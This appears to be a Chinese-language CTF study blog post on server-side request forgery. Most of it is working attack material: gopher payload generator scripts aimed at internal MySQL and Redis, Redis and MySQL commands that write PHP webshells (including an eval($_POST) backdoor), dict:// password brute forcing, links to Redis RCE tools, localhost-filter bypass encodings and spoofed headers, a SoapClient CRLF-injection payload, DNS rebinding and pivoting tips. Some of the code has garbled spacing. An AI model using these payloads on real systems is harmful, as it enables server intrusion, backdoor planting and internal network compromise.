ssrf服务端请求伪造

SSRF简介

SSRF是一种由攻击者构造形成由服务器发起请求的一个漏洞,让服务器去请求通常请求不到的东西。一般用来在外网探测或攻击内网服务
实例代码

<?php
$url=$_GET['url'];
echo file_get_contents($url);
?>

SSRF相关函数

file_get_contents:能将url或者文件呈现给用户
fsockopen:能打开一个网络连接,实现对用户指定url数据的获取,传输原始数据
curl_exec:…..

SSRF利用

读取系统文件

file://伪协议:读取本地文件

file://C:/flag.txt

gopher://协议

gopher是一个信息查找系统

利用此协议可以攻击内网的FTP、Telnet、Redis、Mysql,可以进行get、post请求

利用方式

1.构造http get/post请求消息
2.对请求消息进行url编码
3.将编码后的字符串中的%0A替换为%0D%0A
4.将最终的字符串在进行一次URL编码
5.拼接协议头、请求地址
gopher转化脚本:

from urllib.parse import quote as urlencode

def gopher(data):#端口记得更换
stream = f"""POST /index.php HTTP/1.1
Host: 127.0.0.1:47852
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}
Connection: close

{data}""".replace("\n", "\r\n")
g = "gopher://127.0.0.1:47852/_" + urlencode(stream)
return urlencode(g)

print(gopher('a=1'))
作用

gopher可以自定义发送post以及get的请求内容

ssrf扫描端口

可以先看/etc/hosts看ip,然后扫描端口可以从1w-2w,看题目说明,没说就是扫6w个

HTTP请求走私

SSRF攻击mysql

原理:我们知道ssrf就是伪造服务端发起请求,这里就有个问题就是,为什么我们使用本地抓的包写入到gopher攻击数据包里面,可以打题目里面的?那就是因为在ssrf题目里面,我们发起的请求就相当于在题目的本地进行攻击了,所以效果是一样的

SSRF漏洞结合gopher系统攻击内网未授权mysql(即没有密码),并获取系统shell的方法

mysql通信协议

客户端连接服务器有三种方法:
1.unix套接字:只能在客户端和mysql服务器在同一台电脑上才行
2.内存共享/命名管道:window系统
3.TCP/IP套接字:是在任何系统下都可以使用的方式,也是使用最多的连接方式,即:mysql -h127.0.0.1 -uroot -proot
PS:这里不可以使用localhost,因为localhost使用的是unix的套接字

mysql客户端与服务器的交互过程

mysql客户端与服务器的交互主要分为两个阶段:
connection phase(连接阶段或者叫认证阶段)
command phase(命令阶段)
在连接阶段包括我首保和认证包,主要关注认证数据包

构造攻击数据包

1.使用tcpdump

tcpdump -ilo0 port 3306 -w sql.pcapng

2.使用wireshark打开存储了数据包的文件
3.接下来找到Login Request的包并右键单击Follow一下里面的TCP Stream
4.执行以下操作img

5.将上面的数据复制下来,使用一下脚本,构造gopher攻击包:

#encoding:utf-8
import sys
def result(s):
a=[s[i:i+2] for iin range(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%" + "%".join(a)s='''十六进制数据流放在这里'''.replace('\n', '')
print(result(s)+'--output -')

6.运行脚本 ,执行脚本结果

GET SHELL

利用mysql写马:

select '<?php phpinfo(); ?>' into out file "/tmp/1.php";

然后使用gopher伪造,然后打过去
PS:如果题目权限给的很高,或者用了比较旧的mysql版本,说明就是要让你用这个办法,否则你写过去的马将会面临一个权限问题

如果没有写入权限为null,那么就是用log写马即可

SSRF攻击Redis

Redis通信方式

gopher发送redis请求

用以下脚本直接打,可替换内容,然后再urlencode一下即可

from urllib.parseimport quote as urlencode
defgopher():
stream = f"""*2
$4
auth
$6
123123
*2
$3
get
$4
name""".replace("\n", "\r\n")
g = "gopher://127.0.0.1:8000/_" + urlencode(stream)
return g
print("curl "+gopher())

备份crontab反弹shell

centos才能用

备份文件写马

如果redis与php在一起,可以直接写到/var/www/html/shell.php

def webshell():
s='''auth 123123
set mars "<?php eval($_POST[0]);?>"
config set dir /tmp/
config set dbfilename shell.php
save
quit'''
print(urlencode(gopher(s)))

DICT://的利用

爆破端口

url=dict://127.0.0.1:8000

通过回显看端口是否开启

爆破密码

url=dict://127.0.0.1:8000/auth;123123(密码)

通过回显看密码,密码一般是123456或者admin或者123123

备份文件写马

dict://127.0.0.1:8001/config:set:dbfilename:webshell.php
dict://127.0.0.1:8001/config:set:dir:/tmp
dict://127.0.0.1:8001/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x20\x3f\x3e"

主从复制RCE

使用两个工具:

https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/Ridter/redis-rce

使用redis-rce加载redis-rogue-server-master的恶意模块exp.so,即可实现RCE

写无损文件

https://github.com/r35tart/RedisWriteFile

使用此软件联通即可写无损文件

SSRF Trick

绕过访问限制

对访问的限制

file协议+域名+读文件地址

file://localhost/var/www/html/config.php

1.过滤file,可使用File://大小写绕过试试
2.提交内容末尾添加/等内容可使用?或者#进行注释
3.url可以加参数绕过过滤

对本地的访问限制/对访问协议的限制

跳转/解析到127.0.0.1:
http://127.0.0.1.nip.io/flag.php

编码绕过:进制转换
http://0x7f.0.0.1/flag.php

特殊字符绕过
http://①②⑦.⓪.⓪.①/flag.php
http://[0:0:0:0:0:ffff:127.0.0.1]/flag.php
http://127。0。0。1/flag.php
http://127.1/flag.php
http://[::]:80/flag.php
http://127.0.0.1./flag.php

遇到需要127.0.0.1访问:直接使用以下内容进行绕过

X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1

进制的转换

可以使用一些不同的进制替代ip地址,从而绕过WAF

利用DNS解析

如果你自己有域名的话,可以在域名上设置A记录,指向127.0.0.1。

利用@绕过

http://www.baidu.com@127.0.0.1与http://127.0.0.1请求是相同的

file_get_contents()中的trick

有关file_get_contents()函数的一个trick,可以看作是SSRF的一个黑魔法,当PHP的 file_get_contents()函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。

httpsssss://../../../../../../etc/passwd

https://www.freebuf.com/articles/network/255456.html

PHP parse_url()

漏洞产生原因:

Parse_url和访问url是两件事,这两件事对url的处理存在差异

漏洞利用:

http://y1ng.vip\@flag.authenticator.das.ctf:80/则会访问到

flag.authenticator.das.ctf:80/

Apache SSRF

任意读取:

https://github.com/ev0A/ArbitraryFileReadList/

读配置文件,发现其他端口

无gopher和dict如何ssrf

使用soap反序列化可以发送post请求

<?php
$target = 'http://123.206.216.198/bbb.php';
$post_string = 'a=b&flag=aaa';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>

DNS重绑定

验证和访问分开,验证一个合法的域名,然后在这个域名写写一个重定向的指令
可以重定向的域名生成:

https://requestrepo.com/#/
https://lock.cmpxchg8b.com/rebinder.html

CTF中的内网渗透

flag一般不在拿shell的这个机器上
如果是有一个共同上传的地方,意味着upload目录下是一个777的权限,可以直接去扫获取别队伍上传的信息
对于打内网:
通过ifconfig看ip地址(windows)
通过/etc/hosts
首先扫描ip看是否有存活主机,再将所有存活主机ip列出来,
HTTP服务->扫服务(端口)

扫描工具:
masscan nmap goby等工具

getshell以后发现权限不够,可以使用ps(获取进程,看看运行了什么进程)
或者开netstat
自己再80端口,然后shell在8006端口该如何解决?
frp工具:

Author

vague huang

Posted on

2021-08-31

Updated on

2021-12-12

Licensed under

Comments